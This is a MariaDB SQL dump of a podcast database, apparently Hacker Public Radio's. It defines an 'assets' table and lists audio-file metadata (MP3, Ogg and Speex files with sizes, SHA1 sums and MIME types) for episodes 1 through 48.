-- MariaDB dump 10.19  Distrib 10.11.3-MariaDB, for Linux (x86_64)
--
-- Host: localhost    Database: hpr_hpr
-- ------------------------------------------------------
-- Server version	10.11.3-MariaDB
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `hpr_hpr`
--

/*!40000 DROP DATABASE IF EXISTS `hpr_hpr`*/;

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `hpr_hpr` /*!40100 DEFAULT CHARACTER SET utf8mb3 COLLATE utf8mb3_unicode_ci */;

USE `hpr_hpr`;

--
-- Table structure for table `assets`
--

DROP TABLE IF EXISTS `assets`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `assets` (
  `episode_id` int(11) NOT NULL,
  `filename` varchar(300) NOT NULL,
  `extension` varchar(20) DEFAULT NULL,
  `size` bigint(20) NOT NULL,
  `sha1sum` varchar(41) NOT NULL,
  `mime_type` varchar(300) NOT NULL,
  `file_type` varchar(300) NOT NULL,
  PRIMARY KEY (`episode_id`,`filename`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `assets`
--

LOCK TABLES `assets` WRITE;
/*!40000 ALTER TABLE `assets` DISABLE KEYS */;
INSERT INTO `assets` (`episode_id`, `filename`, `extension`, `size`, `sha1sum`, `mime_type`, `file_type`) VALUES (1,'hpr0001.mp3','mp3',21984963,'46b4f2667e75c4fb0346d7d507890c2a2314c2f8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(1,'hpr0001.ogg','ogg',4879624,'35eabab3f057852c59c8be11d6f07153920a5397','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(1,'hpr0001.spx','spx',5047831,'97a4fc26988d7fe75dedc86d5fc4b01c482c145f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2,'hpr0002.mp3','mp3',24550387,'b97db760b7818bf37b4e24e4515877e24a7cea51','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(2,'hpr0002.ogg','ogg',14890038,'d94c4f6f4476d08a80147feded32df49b5ea5e31','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(2,'hpr0002.spx','spx',5636925,'328ad3684acc8f6b57dbf4d1cf06ba6913d3caa8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3,'hpr0003.mp3','mp3',45601544,'5b9e008b23d19832d2e28ee2f3c8599fc6af85f5','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(3,'hpr0003.ogg','ogg',30707188,'ffa523a0c64d9aad5b6d9f1a2f3c0d450e5f202d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(3,'hpr0003.spx','spx',10470415,'7e8dc2cedd38fd696754b93f96a5f533efd82763','application/ogg; charset=binary','Ogg data, Speex audio'),
(4,'hpr0004.mp3','mp3',6641582,'ab3dcd95a71c5b081fabb416bf6943fcc282b399','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(4,'hpr0004.ogg','ogg',4778656,'d496dff1fc92fa178c1fd9e81cbf43556213c79f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(4,'hpr0004.spx','spx',1524993,'8d15a4bb6437b212b6871710490541cbe1e465fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(5,'hpr0005.mp3','mp3',17031351,'fdc6b9758800ab8ae19f065869e294c3e1da5feb','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(5,'hpr0005.ogg','ogg',3762008,'121d4b6b94d04096fcddc451497318ae0338351e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(5,'hpr0005.spx','spx',3910447,'77b27b977e6128f9666c753f257b982a0ede97e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(6,'hpr0006.mp3','mp3',34481315,'377c4d6142813bdf5c3583af2c0bd819364b3f57','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(6,'hpr0006.ogg','ogg',27024664,'4d08750dc995c383bf4f7baa283b776f7a16e065','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(6,'hpr0006.spx','spx',7917122,'0980406ce49c0f32165ce01569249e1e966b7535','application/ogg; charset=binary','Ogg data, Speex audio'),
(7,'hpr0007.mp3','mp3',8481313,'a0cbeba90bda14a8568b92d8bee18676feefc580','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(7,'hpr0007.ogg','ogg',6395449,'458595681181c9c45d02e27e9da35fc2344fa99d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(7,'hpr0007.spx','spx',1947443,'080be3b4649d40209d64bf20288292a211944ba5','application/ogg; charset=binary','Ogg data, Speex audio'),
(8,'hpr0008.mp3','mp3',27021246,'939975da4173ec3c7c1c87e98cd4bf3c96776047','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(8,'hpr0008.ogg','ogg',19764781,'9663b0b302e960a122df98e3113bf71395a7fdd5','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(8,'hpr0008.spx','spx',6204303,'0628d2e8aa2eb6ffbea609cf7e481d30ead836ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(9,'hpr0009.mp3','mp3',40759475,'2f78898ac16df418ea7758b13dda3774f5a8ebf3','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(9,'hpr0009.ogg','ogg',31636606,'c320fb17d8c92f061a5701e27e4ae6eae5babef7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(9,'hpr0009.spx','spx',9358743,'85d8ef6c73182cd3b2ad07719bfc7750a98617d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(10,'hpr0010.mp3','mp3',6020424,'08d80e224400f6568c9ce6801cdd5d04be6a9fae','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 22.05 kHz, JntStereo'),
(10,'hpr0010.ogg','ogg',6745097,'afd97137fe0134899d9e3bf522c10410a922b5a7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(10,'hpr0010.spx','spx',5528867,'64d44fe9872018cbd7cb8ad182956ab4952f15d4','application/ogg; charset=binary','Ogg data, Speex audio'),
(11,'hpr0011.mp3','mp3',8321263,'f518c92fd3be78cb5b295782f3cb13c8e759c9aa','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(11,'hpr0011.ogg','ogg',6076578,'a75c603bd948fa2491d2dfffce4a80f49d24bf75','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(11,'hpr0011.spx','spx',1910654,'764b4dd8ec306ea1ead4527a82f27172dfb765b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(12,'hpr0012.mp3','mp3',17921795,'cfcec69d3153c7cf509bbe247fb08d2f93cb7925','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(12,'hpr0012.ogg','ogg',7787516,'459378d09decf1c4890a6d9566ec89d9ef99a313','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(12,'hpr0012.spx','spx',4115002,'ee1534de8608f62b3d91fd48457cfcdcb28b41b7','application/ogg; charset=binary','Ogg data, Speex audio'),
(13,'hpr0013.mp3','mp3',15361394,'fb9c10358f4d8529e8b931888890c79cf4f61d6b','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(13,'hpr0013.ogg','ogg',10503929,'204dbebd65843a9c24fb8d88627bf968f5798026','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(13,'hpr0013.spx','spx',3527076,'b60c337dda1efdc09e430ff0a6a309fb36cd805f','application/ogg; charset=binary','Ogg data, Speex audio'),
(14,'hpr0014.mp3','mp3',25113782,'731e6e9a0ac442ee1644e55fe32304d49b3d793b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(14,'hpr0014.ogg','ogg',5609547,'3090e787a50c4dbf034ef64d68a499e063b6d31b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(14,'hpr0014.spx','spx',5766169,'94625c2a73184b4ef76e3d45337f35e7c199624d','application/ogg; charset=binary','Ogg data, Speex audio'),
(15,'hpr0015.mp3','mp3',4401275,'67ada6f6d037db97a0c500bc82b029bbebbd17ee','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(15,'hpr0015.ogg','ogg',3126114,'5394387a4141cefb05db185c13847f8291bab986','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(15,'hpr0015.spx','spx',1010599,'9374597af0fa561a77381687cc48d2017185f847','application/ogg; charset=binary','Ogg data, Speex audio'),
(16,'hpr0016.mp3','mp3',17921383,'98603d40ec3f12e461478cb5027de09753abb218','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(16,'hpr0016.ogg','ogg',11098190,'fb62a66c53cf4d4f9e1b3587776d19f13fe3893a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(16,'hpr0016.spx','spx',4114856,'bcc12dfc0367a2bf82277db8779a3f73a3151cbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(17,'hpr0017.mp3','mp3',6457991,'6a2f9e5880875551813bb4b46a8a66834eb2d2b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(17,'hpr0017.ogg','ogg',4822795,'d402b170d6b5c9ac930a26ec8122a5bc779c1727','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(17,'hpr0017.spx','spx',1482967,'0f1f5e5d9118c76a03aeccec54d7e84b805b5fac','application/ogg; charset=binary','Ogg data, Speex audio'),
(18,'hpr0018.mp3','mp3',56763833,'17f1baa63796e6fb5af1e406c323b8281f686e8f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(18,'hpr0018.ogg','ogg',12751580,'7efaa2d1b0f237c50d6df3149360692658639488','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(18,'hpr0018.spx','spx',13033225,'e3d18ba7b19437f8892e194d0cf15f2fc495c407','application/ogg; charset=binary','Ogg data, Speex audio'),
(19,'hpr0019.mp3','mp3',7800522,'e15ffae353d80263b026751da69733af8b95282b','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(19,'hpr0019.ogg','ogg',6001679,'0c8a5fe466963eb479c3e217a4e031fe77d31263','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(19,'hpr0019.spx','spx',1791173,'a9083ff4d35118372d7c48ef75f63d295927723f','application/ogg; charset=binary','Ogg data, Speex audio'),
(20,'hpr0020.mp3','mp3',10591669,'6d1a467ba15782449025b4474cc966c487823e56','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(20,'hpr0020.ogg','ogg',7706221,'fe3e33441d5e51a35afc880b7df47bad187f4468','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(20,'hpr0020.spx','spx',2431937,'fa89e4a9304381fe9dd9942735520f05602eff96','application/ogg; charset=binary','Ogg data, Speex audio'),
(21,'hpr0021.mp3','mp3',10886533,'0624975943d40f4e571a1ed3c81e2f70378da3be','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1,  48 kbps, 44.1 kHz, Stereo'),
(21,'hpr0021.ogg','ogg',16884532,'c2b1f3531691289bd86b128f921edb00190e8e33','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(21,'hpr0021.spx','spx',6665129,'d3ce8bb1e2bb710c0b8ef74a2582497bba80092e','application/ogg; charset=binary','Ogg data, Speex audio'),
(22,'hpr0022.mp3','mp3',5210847,'f49a227f1017ccd505367bf0f99fbfedeaf887a6','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(22,'hpr0022.ogg','ogg',3587051,'cdaeed5deefbaff4b07239eb1314155a221dfa6c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(22,'hpr0022.spx','spx',1196477,'b32518534bc6053a363ed371d19c83a7535a91f8','application/ogg; charset=binary','Ogg data, Speex audio'),
(23,'hpr0023.mp3','mp3',12319667,'3dbf2fac28d7f47f36beb3319bba1fe95c3596d0','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(23,'hpr0023.ogg','ogg',2758163,'a6c86bdb6ce74c2747a26d9b67bf4d35c0336642','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(23,'hpr0023.spx','spx',2828629,'d012fade7a6a60410e310cac98a7fc3b048c6de6','application/ogg; charset=binary','Ogg data, Speex audio'),
(24,'hpr0024.mp3','mp3',24756262,'5be9e229eb23032b608f8dc66ddbb33159961043','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(24,'hpr0024.ogg','ogg',17047149,'3bed3bba7f71dfa15b8f5870fc6cfc1434a86707','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(24,'hpr0024.spx','spx',5684334,'13bccfd229a10cff6858923cdfc25cfe77fe6222','application/ogg; charset=binary','Ogg data, Speex audio'),
(25,'hpr0025.mp3','mp3',35522103,'3c009da1f1a50b28c6a43b21299ea17b830aaa62','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(25,'hpr0025.ogg','ogg',13195932,'c90a8a29a1b78f2ff7b1eb08b219ddc4f819a573','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(25,'hpr0025.spx','spx',8156057,'69d00a87c7ff1a30ff5fb5aba9374f35d944e4cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(26,'hpr0026.mp3','mp3',11508506,'13c04b4ad40df3d41623746005290c05583b877a','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(26,'hpr0026.ogg','ogg',10363563,'547e1271f433ffbc432c631374bff199192e9d87','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(26,'hpr0026.spx','spx',4227859,'f6e5c12ce58f805f9bc5d540314993fce3fbe562','application/ogg; charset=binary','Ogg data, Speex audio'),
(27,'hpr0027.mp3','mp3',5823165,'bb49bd1c6ad62956fa3c5bb1d198f8bcd3bbeb2f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(27,'hpr0027.ogg','ogg',4218737,'7ee844371046bd516cd61cbf45377ecb6d983d5c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(27,'hpr0027.spx','spx',1337190,'d3236f0416cc398b4729a8599b2a2dbcccf85426','application/ogg; charset=binary','Ogg data, Speex audio'),
(28,'hpr0028.mp3','mp3',8010756,'b715340a50f29c042ea4f6071d1f90081fc6b10d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(28,'hpr0028.ogg','ogg',6166746,'9aee3b4ba3358e5a4e93e798dd6c8ff2abdc19d6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(28,'hpr0028.spx','spx',1838947,'94707f11b3e25a6645b0c963d904f697dee118ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(29,'hpr0029.mp3','mp3',11356431,'a6da27a44698f147a7d19db2a49271dd3c1e0a47','audio/mpeg; charset=binary','Audio file with ID3 version 2.2.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, JntStereo'),
(29,'hpr0029.ogg','ogg',11996302,'acaa7996a5a1bcd4dc9c8b7b1d80fa73d3ee33dd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(29,'hpr0029.spx','spx',4171417,'01921b8b9c97237940ca43c96bc977a3fff78be0','application/ogg; charset=binary','Ogg data, Speex audio'),
(30,'hpr0030.mp3','mp3',13385276,'4fc535b18721dd3d9c5cb65eb2a9f5e23092b0f9','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, extended header'),
(30,'hpr0030.ogg','ogg',9960776,'2b95d16a0bab3f9b1559f0c28517a2779e763dae','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(30,'hpr0030.spx','spx',3073358,'c7ffb084da4e0a1e554c9a5ee3b56087afd1580e','application/ogg; charset=binary','Ogg data, Speex audio'),
(31,'hpr0031.mp3','mp3',4481032,'1b27265062104bd53d666e67948e96e0957ab5ad','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(31,'hpr0031.ogg','ogg',3259209,'ebcab2450c49c0352d22e6200d10ee6fb096c016','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(31,'hpr0031.spx','spx',2057745,'0af4a01e7fa951de7ca8820be03fb54545a6fc55','application/ogg; charset=binary','Ogg data, Speex audio'),
(32,'hpr0032.mp3','mp3',93888806,'4fcb398b2dc6d5fc5ded22fdf3e3073da71b080f','application/octet-stream; charset=binary','data'),
(32,'hpr0032.ogg','ogg',55627052,'374f2d67184904a83ce2067a4b4089c6a04f6b72','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(32,'hpr0032.spx','spx',21557511,'1a56000495200609fe4e2d7cc19f90d667ad358c','application/ogg; charset=binary','Ogg data, Speex audio'),
(33,'hpr0033.mp3','mp3',31093184,'a578fee0291a3c16e1d62037813fb73bbd312ebc','application/octet-stream; charset=binary','data'),
(33,'hpr0033.ogg','ogg',8721880,'e87f691fa9eb5545a9ebab794d760c72e8830785','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(33,'hpr0033.spx','spx',7139249,'af49d498dda3c8ceaf7e727adb79fb16e799fff7','application/ogg; charset=binary','Ogg data, Speex audio'),
(34,'hpr0034.mp3','mp3',13569152,'8db906c63211d6949ff000b14fbf715c34973e6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(34,'hpr0034.ogg','ogg',9789657,'a797935b26e268d87681626b45ec21c3fbc8bf74','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(34,'hpr0034.spx','spx',3115676,'2d77d33e780d8b975fdbd44410c2926991f64376','application/ogg; charset=binary','Ogg data, Speex audio'),
(35,'hpr0035.mp3','mp3',9925056,'87256f704ef1c1572f3d6586cbb4323ee943a285','application/octet-stream; charset=binary','data'),
(35,'hpr0035.ogg','ogg',4390630,'bd3157b6b0957d5b7ea2b52727b43d7ae980a6d7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(35,'hpr0035.spx','spx',4557397,'ce8db830c934c4d94555339cb89f91c9267c598e','application/ogg; charset=binary','Ogg data, Speex audio'),
(36,'hpr0036.mp3','mp3',22981195,'885a57a66a117a5f319aa139e8eb564b2f4ba20d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, JntStereo'),
(36,'hpr0036.ogg','ogg',20481504,'9619633ccb021c3c3503a3fd45637692da850d28','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(36,'hpr0036.spx','spx',7034914,'d9bf012660a0edc1a28b852b6458d43ef07ed7d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(37,'hpr0037.mp3','mp3',38589481,'d972808d2e6b21ff301a99486e048921909649b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(37,'hpr0037.ogg','ogg',29966895,'a805bfc220dc83f41deb0bceaa977eb4e16a83bf','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(37,'hpr0037.spx','spx',8860444,'bcb51a6b1b06be90ad2c7d86e638035645c97f39','application/ogg; charset=binary','Ogg data, Speex audio'),
(38,'hpr0038.mp3','mp3',15713449,'316689cbc94dbffb18566e3921197a34fe85146d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5, 128 kbps, 8 kHz, Stereo'),
(38,'hpr0038.ogg','ogg',3464216,'0a85df2e164223d47b03ade528831c1b4bfab236','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(38,'hpr0038.spx','spx',3607816,'95a08babb823c91d39ff2ced6580c82fa6dc3f46','application/ogg; charset=binary','Ogg data, Speex audio'),
(39,'hpr0039.mp3','mp3',29888455,'534dd5bad178673f31051e2d470bbc521adbe508','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 320 kbps, 44.1 kHz, Stereo'),
(39,'hpr0039.ogg','ogg',8347630,'8ac1dbfc61c2a806bddabc4b39c476f91c95349f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(39,'hpr0039.spx','spx',2745161,'d7ff08be292bfd7c7accba9cbf840586977d98ef','application/ogg; charset=binary','Ogg data, Speex audio'),
(40,'hpr0040.mp3','mp3',8235365,'ecd136e1472bd0916d105e081d3e63fb6e012052','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(40,'hpr0040.ogg','ogg',6200209,'860c00a90968b4473a8cbb16ea380cfe860d5389','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(40,'hpr0040.spx','spx',1890882,'a0bcf7cb09e03b67e54eaa98c8143055b15b84ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(41,'hpr0041.mp3','mp3',10043712,'aa14edaa595f338dc6b0942e8396527c17bef2ed','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(41,'hpr0041.ogg','ogg',9283229,'600b69a054f72bf4564dedb2662435286b7d550e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(41,'hpr0041.spx','spx',3689432,'872d25bc721c8bd8d812b225f33c6aa4036b005c','application/ogg; charset=binary','Ogg data, Speex audio'),
(42,'hpr0042.mp3','mp3',7558518,'964f855a6d34af298e2c714d04cc8f1f44650351','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(42,'hpr0042.ogg','ogg',4056922,'e7d0b64f68c4a82c5c0c517898b918cb465a2fe1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(42,'hpr0042.spx','spx',1688016,'b821f6960f224c4b19759a3da51e8dceb070da0d','application/ogg; charset=binary','Ogg data, Speex audio'),
(43,'hpr0043.mp3','mp3',5521820,'e20cf8946cd7b99326f352c3082185e31d4dba4a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(43,'hpr0043.ogg','ogg',4376690,'ee362d98ed7c9ea6941b9c60530c9bab5e65d53c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(43,'hpr0043.spx','spx',1267965,'b18eee7cc9b25d51272fc3d8ddf225fd8594b91a','application/ogg; charset=binary','Ogg data, Speex audio'),
(44,'hpr0044.mp3','mp3',23522222,'cbd6599b5adccbee322e56b778bd3541d3f6e974','application/octet-stream; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized frames'),
(44,'hpr0044.ogg','ogg',18043020,'2d6a167b79a6f86087410cef7c5475e245bf768f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(44,'hpr0044.spx','spx',5400718,'7f2555695ace99735aaedacb6175b611f1a3e05b','application/ogg; charset=binary','Ogg data, Speex audio'),
(45,'hpr0045.mp3','mp3',11508626,'c12b654c5a8cfa43e42f183d9763379d30fb277c','application/octet-stream; charset=binary','Audio file with ID3 version 2.3.0'),
(45,'hpr0045.ogg','ogg',7298680,'6f81a35de1d5d3255ecd38a6da3f376359186801','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(45,'hpr0045.spx','spx',2642432,'17063b97509337d9278ac9fcf984583589e09a5e','application/ogg; charset=binary','Ogg data, Speex audio'),
(46,'hpr0046.mp3','mp3',32384045,'f3682c819e7426576868058624603d05f3705783','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(46,'hpr0046.ogg','ogg',23817205,'4ceff315cc0fff12f7e1e227014880753aaeaba8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(46,'hpr0046.spx','spx',7435648,'47dfb0dc91beb456569c112d492e5dafbe1e8851','application/ogg; charset=binary','Ogg data, Speex audio'),
(47,'hpr0047.mp3','mp3',36364436,'20b0e17b0659d37109118a8b369e98dbcad96ad9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(47,'hpr0047.ogg','ogg',26878033,'bb7997dbae74fbf1685c9daae53bd73eeb6b9d50','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(47,'hpr0047.spx','spx',8349435,'381f86516cf6fa676e255b72afdd29acd4d7ab4f','application/ogg; charset=binary','Ogg data, Speex audio'),
(48,'hpr0048.mp3','mp3',14822249,'695cbd718ccc94e1a36ae1d7b1b2d0910eb02d9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
